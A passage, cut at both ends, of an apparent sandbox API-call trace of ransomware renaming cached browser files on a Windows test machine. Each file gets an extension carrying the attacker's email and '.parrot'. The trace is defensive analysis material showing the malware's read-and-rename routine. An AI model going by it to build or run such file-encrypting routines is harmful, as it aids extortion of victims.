files\\low\\content.ie5\\9qh4s0gz\\aa3e3xc[2].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.014] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.014] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.016] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.016] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x28e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x28e, lpOverlapped=0x0) returned 1 [0078.016] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.016] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.016] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.016] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.017] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3vOVA[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3vova[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3vOVA[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3vova[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.019] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.019] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.021] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.021] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1cd, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1cd, lpOverlapped=0x0) returned 1 [0078.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.022] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.023] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.023] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.023] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA42EP9[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa42ep9[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA42EP9[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa42ep9[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.025] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.025] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.028] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.028] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x191, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x191, lpOverlapped=0x0) returned 1 [0078.028] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.028] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.029] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.029] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.029] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA54rQj[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa54rqj[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA54rQj[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa54rqj[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.068] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.068] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.073] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.073] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x19d, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x19d, lpOverlapped=0x0) returned 1 [0078.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.073] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.073] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA61yi9[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa61yi9[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA61yi9[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa61yi9[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.077] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.077] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.078] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.079] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2c8, lpOverlapped=0x0) returned 1 [0078.079] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.079] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.079] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.079] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.079] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA8uCo4[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa8uco4[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA8uCo4[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa8uco4[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.082] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.082] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.084] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.084] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x342, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x342, lpOverlapped=0x0) returned 1 [0078.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.084] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.085] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AAdAVrM[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aadavrm[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AAdAVrM[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aadavrm[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.095] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.095] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.096] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.096] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x21e7, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x21e7, lpOverlapped=0x0) returned 1 [0078.097] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.098] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.098] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.098] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.098] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\adServer[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\adserver[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\adServer[1].htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\adserver[1].htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.101] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.101] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.103] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.103] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1c, lpOverlapped=0x0) returned 1 [0078.103] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.103] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.103] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.103] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.103] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\advertisement.ad[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\advertisement.ad[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\advertisement.ad[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\advertisement.ad[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.106] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.106] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.133] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.133] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x40b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x40b, lpOverlapped=0x0) returned 1 [0078.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.133] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.134] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\async_usersync[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\async_usersync[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.139] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.139] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.140] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.140] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x534, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x534, lpOverlapped=0x0) returned 1 [0078.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.141] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.141] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[2]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\async_usersync[2]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[2].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\async_usersync[2].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.144] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.144] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.146] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.146] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x532, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x532, lpOverlapped=0x0) returned 1 [0078.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.146] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.147] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[3]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\async_usersync[3]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\async_usersync[3].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\async_usersync[3].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.149] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.149] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.151] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.151] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1d0, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1d0, lpOverlapped=0x0) returned 1 [0078.151] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.151] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.151] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.151] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.152] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB1CcOi[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb1ccoi[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB1CcOi[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb1ccoi[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.155] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.155] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.156] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.157] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x310, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x310, lpOverlapped=0x0) returned 1 [0078.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.157] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.157] RtlAllocateHeap (HeapHandle=0x5b0000, 